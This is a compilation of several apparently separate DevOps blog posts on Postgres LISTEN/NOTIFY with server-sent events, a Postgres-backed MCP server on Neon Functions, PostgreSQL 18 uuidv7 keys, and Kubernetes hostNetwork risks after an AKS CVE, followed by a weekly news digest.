If your data already lives in Postgres, you already have a message bus for that. Postgres ships with LISTEN and NOTIFY, a lightweight publish/subscribe system built into the database. Pair it with server-sent events from a serverless function and you can fan realtime updates out to every connected client without standing up any realtime infrastructure at all. In this post I build exactly that on a Neon Function, explain the one part that is subtle on serverless, and prove it works with two live subscribers. The repo is at the end.

TL;DR

• Postgres LISTEN/NOTIFY is a built-in pub/sub. NOTIFY channel, 'payload' delivers to every connection that has run LISTEN channel.
• A serverless function holds each browser's SSE connection open and keeps one Postgres LISTEN connection. On a write, the app calls pg_notify, and every isolate pushes the event to its SSE clients.
• The subtle part on serverless: the runtime runs several isolates, each with its own in-memory set of clients. LISTEN/NOTIFY is what fans an event across all of them; an in-process broadcast alone would only reach one isolate's clients.
• One real gotcha: LISTEN needs a session, so it must use a direct (unpooled) connection, not the transaction pooler.
• It is fan-out for small live events, not a durable queue. For guaranteed delivery or bidirectional low-latency you still want a real broker or websockets.

Prerequisites

• A Neon project on the platform preview (Functions, us-east-2)
• The Neon CLI (npm i -g neon, then neon login)
• Familiarity with Postgres and with SSE / EventSource on the client

The two pieces

Postgres LISTEN/NOTIFY is a pub/sub channel inside the database. A connection subscribes with LISTEN counter_updates, and any connection (from anywhere) that runs NOTIFY counter_updates, '42' causes Postgres to deliver that payload to every subscriber. No extra service, no broker to run; it is a feature of the database you already have.

Server-sent events (SSE) are the other half. SSE is a long-lived HTTP response that streams data: frames to the browser, consumed with the built-in EventSource API. It is one-directional (server to client), which is exactly the shape of most realtime UI: the server has news, the browser wants it. And because it is just an HTTP response, a serverless function can serve it.

Put them together: the function streams SSE to browsers and relays anything it hears on a Postgres channel.

The part that is subtle on serverless

Here is the trap. A function under load does not run as one process; the runtime spins up several isolates in parallel. Each isolate has its own memory, so each keeps its own set of open SSE connections. If you only broadcast in-process, a client connected to isolate A never sees an event triggered through isolate B.

LISTEN/NOTIFY is what closes that gap. Every isolate opens its own LISTEN connection to Postgres. When any code anywhere calls NOTIFY, Postgres delivers it to all of those connections, so every isolate gets the event and pushes it to its own clients. Postgres is the shared fan-out point that the isolates do not otherwise have.

// One dedicated LISTEN connection per isolate. LISTEN needs a real session,
// so use the DIRECT (unpooled) URL, not the transaction pooler.
const listener = new Client({ connectionString: env.postgres.databaseUrlUnpooled });
await listener.connect();
await listener.query('LISTEN counter_updates');

// SSE connections held open by THIS isolate.
const clients = new Set<ReadableStreamDefaultController<Uint8Array>>();

listener.on('notification', (msg) => {
  const frame = new TextEncoder().encode(`data: ${msg.payload}\n\n`);
  for (const c of clients) c.enqueue(frame); // push to this isolate's browsers
});

The write path is a normal query plus a NOTIFY:

app.post('/increment', async (c) => {
  const [row] = await db
    .insert(counters)
    .values({ id: 1, value: 1 })
    .onConflictDoUpdate({ target: counters.id, set: { value: sql`${counters.value} + 1` } })
    .returning({ value: counters.value });
  // Fan the new value out to every isolate, and thus every browser.
  await pool.query('SELECT pg_notify($1, $2)', ['counter_updates', String(row.value)]);
  return c.json({ value: row.value });
});

And the SSE endpoint just registers the browser and streams:

app.get('/events', async (c) => {
  const stream = new ReadableStream<Uint8Array>({
    start(controller) {
      clients.add(controller);
      // send the current value immediately so a new tab is correct on load
      readCount().then((v) => controller.enqueue(encode(`data: ${v}\n\n`)));
    },
    cancel() {
      /* remove this controller from clients */
    },
  });
  return new Response(stream, {
    headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache' },
  });
});

Proving it works

I deployed the counter as a Neon Function and connected two independent SSE subscribers, then fired three increments. Every subscriber should see its starting value on connect and then each new value as it happens. Here is the actual run:

Both streams saw every value. Neither subscriber talked to the other, and there is no websocket server anywhere in this picture; the events traveled browser → function → Postgres NOTIFY → every function isolate → every browser.

WebSocket service vs LISTEN/NOTIFY + SSE

Where this stops being enough

This pattern is a genuine "delete a service" win for a large class of realtime features, but be honest about its edges:

• It is not a durable queue. NOTIFY is fire-and-forget. If nobody is listening at that instant, the message is gone. That is fine for a live UI that re-reads state on reconnect; it is not fine for guaranteed delivery or work queues.
• Payloads are small. Postgres caps a NOTIFY payload at 8000 bytes. Send an id or a small value and let clients fetch details, rather than shipping large blobs through the channel.
• SSE is one-way. For low-latency bidirectional traffic (multiplayer, live cursors, collaborative editing) a websocket is still the right tool.
• At very high scale a dedicated broker earns its keep. This shines at the small-to-medium fan-out that most apps actually need, without the standing infrastructure.

The repo

The full counter, backend function plus a small web client, is here:

Wrapping up

Realtime does not always mean a websocket service. For the common cases, a live number, a badge, a feed, an activity stream, Postgres LISTEN/NOTIFY is a pub/sub you already run, and SSE from a serverless function is enough to get those events to the browser. On Neon the function lives on the branch next to Postgres, so the listener connection is a local hop and the whole realtime path is one deploy, no separate service to operate. Reach for a real broker or websockets when you need durability or two-way low latency; reach for this when you just want the UI to update and would rather not run another box to make it happen.

Which raises an obvious question. If an MCP server spends its life talking to Postgres, why does it so often run somewhere far away from Postgres? The usual setup is an MCP server on one host and the database on another, so every tool call pays a network round trip to reach the data it needs.

Neon Functions let you skip that. You deploy the MCP server as a function that lives on the same database branch it queries, in the same region, so the server-to-Postgres hop is a local one. In this post I build a Postgres-backed MCP server, deploy it onto a branch, connect a real MCP client, and show what the round trips actually look like. The whole thing is about twenty lines of interesting code, and the repo is at the end.

TL;DR

• An MCP server that exposes database tools is mostly network plus queries. Running it next to the database removes a cross-region hop from every tool call.
• Neon Functions deploy your MCP server onto a database branch, co-located with Postgres. The server-to-database query is a same-region hop of a millisecond or two, not a transatlantic one.
• The core is small: define a Drizzle schema, register a tool whose handler runs a query, and expose the MCP server over the streamable HTTP transport at /mcp. That is the ~20 lines.
• Any MCP client that speaks streamable HTTP connects to it: mcporter, the MCP SDK, or an agent like Claude or Cursor pointed at the URL.
• Each branch gets its own function URL, so every preview or test branch can have its own isolated MCP endpoint over its own copy of the data.

Prerequisites

• Node.js 20+ and the Neon CLI (npm i -g neon, then neon login)
• A Neon account with the platform preview enabled (Functions, new us-east-2 projects)
• Basic familiarity with Postgres and TypeScript
• Optional: an MCP client to point at it, such as mcporter, Claude, or Cursor

What an MCP server actually is

Strip away the branding and an MCP server is a small RPC service. It speaks JSON-RPC over a transport, and it advertises a list of tools. Each tool has a name, a description, and an input schema. When the agent decides to call a tool, the server runs a handler and returns a result. That is the whole contract.

The transport here is streamable HTTP: the client POSTs JSON-RPC messages to a single endpoint (/mcp) and reads responses back, with server-sent events for anything streamed. It works over plain HTTPS, which is exactly what a serverless function serves, so an MCP server and a Neon Function are a natural fit.

The ~20 lines

Here is the core of a Postgres-backed MCP server. A schema, one tool whose handler runs a query, and the wiring to expose it over streamable HTTP. Everything else is more of the same.

import { Hono } from 'hono';
import { drizzle } from 'drizzle-orm/node-postgres';
import { Pool } from 'pg';
import { ilike } from 'drizzle-orm';
import { z } from 'zod';
import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
import { StreamableHTTPTransport } from '@hono/mcp';
import { contacts } from './db/schema';

// One pool per isolate, reused across requests.
const db = drizzle(new Pool({ connectionString: process.env.DATABASE_URL }));

const mcp = new McpServer({ name: 'contacts', version: '1.0.0' });

mcp.registerTool(
  'search_contacts',
  {
    description: 'Search contacts by name. Omit the query to list everyone.',
    inputSchema: { query: z.string().optional().describe('substring to match') },
  },
  async ({ query }) => {
    const rows = await db
      .select()
      .from(contacts)
      .where(query ? ilike(contacts.name, `%${query}%`) : undefined);
    return { content: [{ type: 'text', text: JSON.stringify(rows) }] };
  },
);

// Expose the server over streamable HTTP at /mcp.
const app = new Hono();
const transport = new StreamableHTTPTransport();
app.all('/mcp', async (c) => {
  if (!mcp.isConnected()) await mcp.connect(transport);
  return transport.handleRequest(c);
});

export default app;

The tool handler is the interesting part. It is just a query. registerTool gives the agent the name, the description, and a Zod input schema (the SDK turns that into the JSON schema the model sees), and your handler returns content. The companion repo fills this out to full CRUD (create_contact, update_contact, delete_contact, search_contacts) against a small contacts table, but every tool follows this same shape: describe it, run a query, return the rows.

The schema is ordinary Drizzle:

import { pgTable, serial, text, timestamp } from 'drizzle-orm/pg-core';

export const contacts = pgTable('contacts', {
  id: serial('id').primaryKey(),
  name: text('name').notNull(),
  email: text('email'),
  company: text('company'),
  notes: text('notes'),
  createdAt: timestamp('created_at').defaultNow().notNull(),
});

And the function declaration that tells Neon what to deploy:

// neon.ts
import { defineConfig } from '@neon/config/v1';

export default defineConfig({
  preview: {
    functions: {
      contacts: { name: 'contacts mcp server', source: 'src/index.ts' },
    },
  },
});

Deploy it onto the branch

The Neon CLI scaffolds the template, links (or creates) a project, pushes the schema, and deploys the function. From an empty directory:

That last URL is the deployed MCP server. The function and the Postgres branch it queries are in the same region, us-east-2. The MCP endpoint is that URL plus /mcp. If you want to iterate before deploying, neon dev serves the same function locally at http://localhost:8787 with the MCP endpoint at /mcp.

The gate is a few lines of Hono middleware in front of /mcp. The repo ships it env-gated: leave MCP_TOKEN unset and the demo stays open, set it and every request needs the bearer token.

app.use('/mcp', async (c, next) => {
  const token = process.env.MCP_TOKEN;
  if (token && c.req.header('authorization') !== `Bearer ${token}`) {
    return c.json({ error: 'unauthorized' }, 401);
  }
  await next();
});

Most MCP clients can send custom headers, so the agent side is one config line (Authorization: Bearer <token>). I verified the gate directly against the app: no header and a wrong token both get a 401, the right token passes through to the transport, and with MCP_TOKEN unset the endpoint behaves exactly as before.

Wire up a client and watch it work

Any MCP client that speaks streamable HTTP can connect to /mcp. Here are three ways: a CLI, the SDK, and adding it to an agent.

I ran the SDK client against the deployed server from a machine in Europe. The handshake and the tool calls all worked on the first try:

connect (initialize + handshake): ~1.5 s   (cold start ~2 s the first time)
tools/list: create_contact, update_contact, delete_contact, search_contacts
create_contact: 196 ms  ->  { "created": { "id": 1, "name": "Ada Lovelace", ... } }
search_contacts "navy": 150 ms  ->  { "count": 1, "contacts": [ { "name": "Grace Hopper", ... } ] }

A direct SELECT count(*) against the branch afterwards showed the rows really landed in Postgres. Nothing is held in memory; the tools are just queries.

Why co-location is the point

Those tool-call numbers are around 150 to 200 milliseconds, but that is a measurement of my distance to the function, not the function's speed. I am in Europe and the function is in us-east-2, so each call is roughly one transatlantic round trip. An agent running near the region, or the model provider's own infrastructure calling the tool, sees a small fraction of that.

The number that does not move with the client's location is the hop from the function to Postgres, and that is the one co-location fixes. In the first post in this series I measured exactly that: a SELECT from inside the function against the co-located branch ran in about 1.2 ms, versus about 135 ms for the same query issued across the Atlantic.

A tool call that runs one or two queries inherits that difference on every invocation. Put the MCP server a region away from its database and each tool call carries an extra cross-region round trip on top of whatever the client already paid to reach the server. Put the server on the branch and that part is effectively free. For a server whose entire job is querying Postgres, that is the hop worth optimizing.

One endpoint per branch

There is a second thing you get for free here. Neon Functions are deployed per branch, and each branch has its own function URL. Because a branch is also a copy of your data, that means every branch can have its own MCP server over its own dataset.

Spin up a branch for a preview environment and it comes with an MCP endpoint backed by that branch's data. Give an agent a scratch branch to work against and it cannot touch production. Run your CI against a branch and the agent's tools operate on the ephemeral copy, then it all gets thrown away with the branch. You are not standing up and tearing down a separate MCP service per environment; the endpoint rides along with the branch you already have.

The repo

The full example, with all four CRUD tools, the schema, the deploy config, and client test scripts, is here:

Wrapping up

An MCP server that fronts a database is mostly network and queries, and the network part is worth taking seriously because an agent may call these tools dozens of times in a single task. Neon Functions let you collapse the server-to-database distance to a same-region hop by deploying the MCP server onto the branch it queries, and the code to do it is small: a schema, a tool that runs a query, and the streamable HTTP transport. Point any MCP client at the URL and the agent has typed, database-backed tools running right next to the data. Give each branch its own endpoint and you get isolated, per-environment agent tooling without any extra services to run.

PostgreSQL 18 fixes the root cause with a native uuidv7() function. UUIDv7 is time-ordered, so new keys land at the right-hand edge of the B-tree like a sequential bigint would, while keeping the properties teams pick UUIDs for in the first place: generate them anywhere, no central sequence, no coordination. This post explains why the random version is slow, what changes with v7, the benchmark numbers on a 50-million-row table, the one real tradeoff, and how to adopt it without rewriting your schema.

TL;DR

• uuidv4() (random) primary keys scatter inserts across the whole index. On large tables that means constant page splits, low page density, fragmentation, and write amplification.
• PostgreSQL 18 adds uuidv7(), a time-ordered UUID per RFC 9562. New rows append at the index's right edge, like a sequential key.
• In one published 50M-row benchmark, the initial bulk insert finished in about 1.8 minutes with v7 versus about 20 minutes with v4, and the index was roughly 25 percent smaller. Range scans by id ran about 3x faster.
• The one real catch: a v7 value embeds its creation time, so do not hand it out as a public identifier if creation time is sensitive.
• bigint is still smaller and faster than any UUID. Use uuidv7() when you actually need UUID properties, not as a reflex.

Prerequisites

• PostgreSQL 18 (the uuidv7() function is built in; no extension needed)
• Basic familiarity with B-tree indexes and primary keys
• A schema where you are choosing or reconsidering a primary-key type
• Optional: pg_stat_statements and \timing if you want to measure on your own data

Why random UUIDs are slow as primary keys

A primary key in PostgreSQL is backed by a B-tree index, and a B-tree stays sorted by key. Where a new key lands in that sorted structure is the whole story.

A bigint from a sequence always sorts after the previous one, so every insert lands at the right-hand edge of the tree. That rightmost page stays hot in memory, fills up, and splits cleanly. A random UUIDv4 has no order at all, so each insert lands at a random leaf page somewhere in the index.

UUIDv4 (random)                       UUIDv7 / bigint (ordered)
inserts scatter across the tree       inserts append at the right edge

      [ root ]                              [ root ]
     /   |   \                             /   |   \
  [p1] [p2] [p3] ...                    [p1] [p2] [p3] [hot]
   ^    ^      ^                                        ^
  write write write                              every write here
  (cold pages pulled in,                         (one hot page, stays
   split, half-empty)                             in cache, fills, splits clean)

That random-write pattern has three compounding costs on a large table:

• Page splits and low density. Inserting into the middle of a full page splits it, leaving both halves partly empty. Your index ends up larger than the data it indexes and full of slack.
• Cache misses. The working set is the entire index, not a hot tail. Once the index no longer fits in shared_buffers, every insert risks a random read from disk to fetch the target page.
• WAL and full-page-image amplification. The first write to a page after a checkpoint logs the whole page. More distinct pages touched per second means more full-page images and more WAL.

None of this shows up at 10,000 rows. It shows up exactly when the table gets big enough to matter.

What uuidv7() changes

A UUIDv7 is laid out so the most significant bits are a timestamp. PostgreSQL 18 builds it from a 48-bit Unix millisecond timestamp, then a sub-millisecond fraction, then random bits, following RFC 9562. Because the timestamp is at the front and UUIDs sort lexically as 128-bit values, a v7 generated now always sorts after one generated a moment ago.

The result is that v7 keys behave like a sequence for index-locality purposes. Inserts append at the right edge, the hot page stays in cache, and pages fill before they split. You get the write pattern of a bigint with the generate-anywhere property of a UUID.

PostgreSQL 18 exposes three functions. The names are now explicit about the version:

-- Version 4, random. These two are equivalent.
SELECT gen_random_uuid();      -- 5b30857f-0bfa-48b5-ac0b-5c64e28078d1
SELECT uuidv4();               -- b42410ee-132f-42ee-9e4f-09a6485c95b8

-- Version 7, time-ordered. New in PostgreSQL 18.
SELECT uuidv7();               -- 019535d9-3df7-79fb-b466-fa907fa17f9e

-- Optional interval shift, handy for backfilling historical rows
-- with timestamps in the past.
SELECT uuidv7(shift => '-7 days'::interval);

One useful detail: within a single backend session, PostgreSQL guarantees each uuidv7() it generates is strictly greater than the last, by spending some of the random bits on extra clock precision. So even a tight insert loop produces monotonic keys rather than occasionally colliding on the same millisecond.

The numbers

The performance argument is not subtle. Credativ published a detailed comparison on PostgreSQL 18 using a single-column UUID primary key and 50 million rows. The initial bulk load is the headline:

The index size gap is just as real, and it widens when you insert into a table that already holds data, which is the normal case in production:

Reads benefit too. In the same benchmark, a range scan ordered by the id column ran roughly three times faster on v7 (about 113 ms versus 318 ms for a million-row ORDER BY id) and needed on the order of 100 times fewer buffer hits, because rows created near each other in time also sit near each other on disk. That locality is something a random UUID can never give you.

Two caveats on the numbers. They come from one benchmark on a synthetic single-column table, so treat the exact figures as directional rather than a promise for your workload. And the gap is smallest on tiny tables and largest on big ones, which is the whole point: this is a problem that scales with you.

uuidv7 vs uuidv4 vs bigint

uuidv7() is not automatically the right choice. It sits between the other two options.

The short version:

• Reach for bigint when a single database owns the sequence and you do not need to generate ids elsewhere. It is half the size of any UUID and the fastest option. The downside is that sequential integers leak how many rows you have and are trivially enumerable.
• Reach for uuidv7() when you want UUIDs: ids generated by clients or multiple services, merged across shards, or created before a row reaches the database. It gives you that with almost none of the write penalty of v4.
• Reach for uuidv4() only when you specifically need an identifier that reveals nothing, including when the row was created.

The one real catch: v7 leaks creation time

Because the timestamp sits in the high bits, anyone holding a v7 value can read roughly when it was generated. That is fine for an internal primary key. It is not fine if you expose the same value as a public identifier and the creation time is sensitive, for example a user id where signup time is private, or an order id where a competitor could infer your daily volume by diffing two ids.

This is a design decision, not a reason to avoid v7. Most primary keys never leave the backend, and for those the timestamp is a feature, not a leak.

How to adopt it

For new tables, set the column default and move on:

CREATE TABLE orders (
    id          uuid PRIMARY KEY DEFAULT uuidv7(),
    customer_id uuid NOT NULL,
    total_cents integer NOT NULL,
    created_at  timestamptz NOT NULL DEFAULT now()
);

INSERT INTO orders (customer_id, total_cents)
VALUES (uuidv7(), 4999)
RETURNING id;

For an existing table that already uses random UUIDs, you do not need a risky rewrite. The existing rows keep their v4 values and stay scattered, but every new row inserted with a v7 default lands in order, so the index stops degrading from that point forward. Switch the default:

-- New rows get time-ordered ids; old rows are untouched.
ALTER TABLE orders ALTER COLUMN id SET DEFAULT uuidv7();

If you want the full benefit on historical data, you can rebuild the table or index during a maintenance window so the existing rows are stored in key order, but for many teams simply changing the default and letting the table grow in order is enough.

A few adoption notes:

• Application-side generation still works. If your services generate ids before inserting, switch the client library to a UUIDv7 generator. Most language ecosystems now have one, and the database does not care who produced the value as long as it is a valid v7.
• ORMs are catching up. Check whether your ORM lets you set a database default expression for the id column; if so, DEFAULT uuidv7() is the cleanest path. If it generates ids in application code, point it at a v7 library.
• You do not need PostgreSQL 18 to start. If you are on 14 to 17, you can adopt UUIDv7 today by generating it in the application or with a small SQL function, then the upgrade to 18 just lets you drop that shim for the native function. Plenty of managed Postgres is already on 18 as well (Neon, for example, defaults new projects to Postgres 18), so you can try uuidv7() on a fresh database without upgrading anything yourself.

Key takeaways

• Random UUIDv4 primary keys are a silent scaling tax: random index writes mean page splits, bloated indexes, cache misses, and extra WAL once a table gets large.
• PostgreSQL 18's uuidv7() is time-ordered, so inserts append at the index edge like a sequence while keeping the generate-anywhere property of a UUID. Published benchmarks show large insert-time and index-size wins on 50M rows.
• bigint is still the smallest and fastest key when one database owns the sequence; use uuidv7() when you genuinely need UUIDs, and uuidv4() only when you must hide creation time.
• Adopting it is a one-line default change for new rows, with no rewrite required for existing tables. The main thing to design around is that v7 embeds a decodable timestamp, so keep it off public-facing identifiers when that matters.

Azure has patched the specific service. If you run AKS, the fix shipped in node image 2026-02-13.5, and you should roll it out. But fixating on the Azure-specific bug misses the point. The reason a container could reach a privileged node service at all is hostNetwork: true, and that switch exists on every Kubernetes distribution. The CVE is a fresh reminder of an old truth: the moment you give a pod the host's network namespace, a pile of "internal only" services on that node stop being internal.

This post walks through what hostNetwork actually changes, why "it only listens on localhost" is not a security boundary, the NetworkPolicy gotcha that catches people out, and the concrete controls that stop this class of escape regardless of which cloud you run on.

TL;DR

• hostNetwork: true drops the pod's network namespace. The pod shares the node's network stack, so it can reach anything listening on the node's loopback (127.0.0.1) and link-local addresses, including cloud metadata endpoints.
• Many node-local daemons and cloud agents bind to localhost with no authentication because they assume only the node can reach them. hostNetwork breaks that assumption. CVE-2026-32193 is one instance of the pattern.
• Kubernetes NetworkPolicy does not apply to hostNetwork pods. Your egress rules will not save you here.
• The fix is policy, not patching: forbid host namespaces for normal workloads with Pod Security Admission or an admission controller, audit who already has them, and block workload access to the metadata endpoint.
• Reserve hostNetwork for the few system components that genuinely need it (CNI agents, kube-proxy, some node exporters) and keep them out of namespaces where application teams deploy.

Prerequisites

• A working knowledge of Kubernetes pods and namespaces
• kubectl access to a cluster you can audit (read access to pods across namespaces)
• Familiarity with Linux namespaces at a high level
• Optional: a policy engine such as Kyverno or Gatekeeper, or Pod Security Admission enabled on your namespaces

What CVE-2026-32193 actually was

The advisory is terse, so here is what the published metadata tells us and what it does not.

• Class: CWE-22, improper limitation of a pathname to a restricted directory (path traversal).
• Score: CVSS 8.8, vector AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
• Affected: Azure Kubernetes Service before node image 2026-02-13.5.
• Condition: the attacker can schedule or run an untrusted container with hostNetwork enabled.

Two parts of that vector matter for the lesson. AV:L (local) and PR:L (low privileges) mean the attacker is already inside a container on the node, not on the public internet. That is a normal day for a multi-tenant cluster or any cluster that runs partially trusted workloads, CI jobs, or customer code. And S:C (scope changed) is the headline: the compromise crosses a security boundary. A process confined to a container ends up controlling the node, which is a different security authority than the workload that started it.

The path-traversal flaw itself is Azure's to fix and they fixed it. What you own is the condition that exposed it.

What hostNetwork actually does

A normal pod gets its own network namespace. It has its own loopback interface, its own set of listening sockets, and its own view of the network. When that pod talks to 127.0.0.1, it reaches itself, not the node.

Setting hostNetwork: true removes that boundary. The pod runs in the node's network namespace instead of its own.

Normal pod                          hostNetwork: true
+-------------------------+         +-------------------------+
|  pod netns              |         |  (no pod netns)         |
|   lo -> the pod itself  |         |   shares the NODE netns |
|   eth0 via CNI          |         |                         |
+-----------+-------------+         +-----------+-------------+
            |                                   |
            | CNI / NetworkPolicy applies       | talks to the node's
            v                                   v stack directly
+-------------------------+         +-------------------------+
|  node network namespace |         |  node network namespace |
|   127.0.0.1:<kubelet>   |  <----  |   127.0.0.1:<kubelet>   |
|   127.0.0.1:<agents>    |  reach  |   127.0.0.1:<agents>    |
|   169.254.169.254 IMDS  |  these  |   169.254.169.254 IMDS  |
+-------------------------+         +-------------------------+

Now 127.0.0.1 from inside the pod is the node's loopback. Every service bound to the node's loopback is one connection away. So is the cloud metadata endpoint at 169.254.169.254 and any other link-local address the node can reach. The pod did not gain a new capability in the Linux sense. It gained reach.

You can confirm the effect quickly. A hostNetwork pod sees the node's interfaces and hostname:

# A pod that shares the node's network stack.
apiVersion: v1
kind: Pod
metadata:
  name: hostnet-demo
spec:
  hostNetwork: true          # the footgun
  containers:
    - name: shell
      image: nicolaka/netshoot
      command: ['sleep', 'infinity']

kubectl exec hostnet-demo -- hostname        # prints the NODE's hostname
kubectl exec hostnet-demo -- ss -lntp         # lists sockets the NODE is listening on
kubectl exec hostnet-demo -- curl -s http://127.0.0.1:10248/healthz   # kubelet healthz, on the node's loopback

That last command is harmless on its own. The problem is everything else that also listens on the node's loopback and assumes nobody untrusted can connect.

"It only listens on localhost" is not a boundary

A huge amount of software binds to 127.0.0.1 and treats that as authentication. The mental model is "only code running on this machine can reach me, and code running on this machine is already trusted." On a single-tenant VM that is roughly true. On a Kubernetes node running mixed workloads it is not, because hostNetwork lets a pod become "code running on this machine" for network purposes.

The list of things that commonly listen on a node's loopback or link-local addresses is long:

• Kubelet's read-only and healthz endpoints
• Cloud provider node agents that broker bootstrap credentials and node identity
• The instance metadata service (IMDS) at 169.254.169.254, which hands out the node's cloud identity and, on many setups, tokens for it
• Local proxies, log shippers, and CSI or CNI helper sockets
• Debug and admin endpoints that developers assumed were unreachable

CVE-2026-32193 is the cloud-agent case: a node-local service that brokers privileged operations trusted its callers and had a path-traversal bug. With hostNetwork, an untrusted pod reached it and turned a parsing flaw into node control. This is the same shape as the IMDS credential-theft problem that has bitten cloud Kubernetes for years. If a workload can reach 169.254.169.254, it can often assume the node's cloud identity, and on a node that means the kubelet's permissions and any IAM role attached to the node pool.

The takeaway is not "this one Azure service was buggy." It is that a node runs a small fleet of privileged local services that were designed assuming the network namespace boundary holds. hostNetwork removes the boundary, so any bug in any of them becomes a node takeover.

The NetworkPolicy gotcha

Here is the part that surprises people. You might assume a default-deny egress NetworkPolicy would stop a hostNetwork pod from reaching the metadata endpoint or a node-local service. It does not.

Kubernetes NetworkPolicy is implemented by the CNI plugin against pod network namespaces. A hostNetwork pod has no pod network namespace. Its traffic originates from the node's stack, which the CNI does not police the same way. The upstream documentation is explicit that NetworkPolicy behavior for hostNetwork pods is undefined, and in practice most CNIs do not enforce policy on them.

# This will NOT reliably stop a hostNetwork pod from reaching IMDS.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-egress
  namespace: app
spec:
  podSelector: {}
  policyTypes: ['Egress']
  # No egress rules = deny all egress... for pods with their own netns.
  # hostNetwork pods bypass this.

So the defense cannot be "lock down egress with NetworkPolicy." If a pod has hostNetwork, you have already lost the network-layer control. The defense has to be earlier: do not let untrusted workloads set hostNetwork in the first place.

Step 1: find out who already has it

Before you enforce anything, see what would break. Audit every pod and workload template that sets host namespaces or other escape-prone fields. This command lists running pods using hostNetwork, hostPID, or hostIPC:

Expect to see your CNI agent, kube-proxy, and node exporters. Those are legitimate and we will handle them in a moment. What you are hunting for is application workloads in team namespaces that picked up hostNetwork because someone copied a Helm values file or wanted to avoid a Service. Those are the accounts that turn a node-local bug into an incident.

Audit the templates too, not just running pods, since a Deployment can sit at zero replicas:

# Scan workload templates for host namespaces and privileged settings.
kubectl get deploy,daemonset,statefulset -A -o json \
  | jq -r '.items[]
      | select(.spec.template.spec.hostNetwork==true
            or .spec.template.spec.hostPID==true
            or any(.spec.template.spec.containers[].securityContext // {}; .privileged==true))
      | "\(.kind)\t\(.metadata.namespace)/\(.metadata.name)"'

Step 2: forbid host namespaces for normal workloads

The cleanest control ships with Kubernetes. Pod Security Admission's baseline profile already forbids host namespaces (hostNetwork, hostPID, hostIPC), hostPath volumes, and privileged containers. Enforcing baseline on the namespaces where teams deploy stops this class of escape without writing a single custom rule.

You can apply the same intent three ways depending on what you run. All three reject the demo pod above.

Roll it out in stages. Set warn and audit first so you can see which workloads would be rejected, fix or exempt them, then flip enforce. Flipping straight to enforce on a busy cluster is how you find out at 2am that a DaemonSet you forgot about needed hostNetwork.

Step 3: cut off the metadata endpoint

Even with host namespaces locked down, normal pods can often still reach IMDS at 169.254.169.254 through the regular CNI path, and that is its own credential-theft route. Close it:

• On AKS, GKE, and EKS, use the provider guardrails. EKS users should move to IRSA or EKS Pod Identity and block IMDS access from pods. GKE has Workload Identity and metadata concealment. AKS has Workload Identity so pods stop needing the node's identity at all.
• Where the CNI does enforce policy (normal pods), add an explicit egress deny to 169.254.169.254/32.
• Prefer per-workload cloud identity (Workload Identity / IRSA / Pod Identity) over node-attached roles, so a node compromise is worth less.

None of these help a hostNetwork pod, which is exactly why step 2 comes first. Defense in depth means the metadata block catches the ordinary pods and the host-namespace ban catches the dangerous ones.

When hostNetwork is legitimately needed

hostNetwork is not evil. A handful of components need it because they operate on the node's networking itself:

• CNI agents (Cilium, Calico) that program the node's dataplane
• kube-proxy, which manages node-level service routing
• Node exporters and some observability agents that read host-level network stats
• A few ingress and load-balancer setups that bind directly to node ports for performance

The rule is not "never use hostNetwork." It is "only system components use it, and they live where application teams cannot deploy." Keep those workloads in kube-system or a dedicated, locked-down namespace, exempt only that namespace from the policy, and treat any request to add hostNetwork to an application namespace as a security review, not a config tweak. If a team wants hostNetwork to expose a port, they almost always want a Service or a properly scoped hostPort instead.

Key takeaways

• hostNetwork: true is a reach amplifier. It does not add Linux capabilities, it removes the network namespace boundary, and that boundary is what keeps untrusted pods away from privileged node-local services and the metadata endpoint.
• CVE-2026-32193 is one bug in one Azure service, but the pattern is universal. Every node runs local daemons that trust local callers, so any one of them becomes a node takeover once a pod shares the host network.
• NetworkPolicy does not apply to hostNetwork pods. Do not rely on egress rules to contain them.
• Enforce Pod Security Admission baseline (or an equivalent admission policy) on application namespaces, audit what already uses host namespaces, and block workload access to IMDS with per-workload cloud identity.
• Patch your nodes, then fix the door: keep hostNetwork for the few system components that need it and out of every namespace where untrusted or application code runs.

📌 Handpicked by DevOps Daily - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 etcd-operator joins Cozystack with a new v1alpha2 API

The etcd-operator project, which develops an operator for deploying and maintaining etcd clusters on Kubernetes, has been donated to the Cozystack project. Alongside the donation, a from-scratch imple

📅 Jun 29, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Open source maintainership in the age of AI

AI has really changed the game around software development. More people are leveraging AI than ever to contribute patches to projects they use. To me, this is a good thing as more folks will contribut

📅 Jun 26, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Security Profiles Operator v1: Stable APIs, Security Hardened, and Shaping Upstream Kubernetes

Linux provides powerful kernel-level security mechanisms, seccomp, SELinux, and AppArmor, that restrict what containerized workloads can do. Each uses profiles that define permitted behavior, but writ

📅 Jun 26, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Introducing the Cluster API plugin for Headlamp

Headlamp is an open-source, extensible Kubernetes SIG UI project designed to let you explore, manage, and debug cluster resources directly from a browser. Cluster API (CAPI) is a Kubernetes sub-projec

📅 Jun 25, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Inspect Volcano workloads faster with Headlamp

Volcano is a cloud native batch scheduler for Kubernetes, built for high-performance computing, AI/ML, and other batch workloads. Headlamp is an extensible Kubernetes web UI. With its plugin system, H

📅 Jun 25, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 See your serverless: introducing the Headlamp plugin for Knative

Headlamp is an open-source, extensible Kubernetes SIG UI project designed to let you explore, manage, and debug cluster resources. Knative brings serverless workloads to Kubernetes, handling traffic r

📅 Jun 25, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Increasing hardware costs? Get more from your VM estate with Red Hat OpenShift Virtualization

For teams running virtualization estates of any size today, three pressures are converging at once. Hardware budgets that looked generous in late 2024 have been blindsided by memory costs, turning rou

📅 Jun 24, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Faster nodes, smarter scaling: What’s new inside Amazon Elastic Kubernetes Service (Amazon EKS) Auto Mode

In this post, we walk through the performance and scalability improvements we shipped across the four pillars of EKS Auto Mode: runtime, compute, storage, and networking.

📅 Jun 23, 2026 • 📰 AWS Containers Blog

🔗 Read more

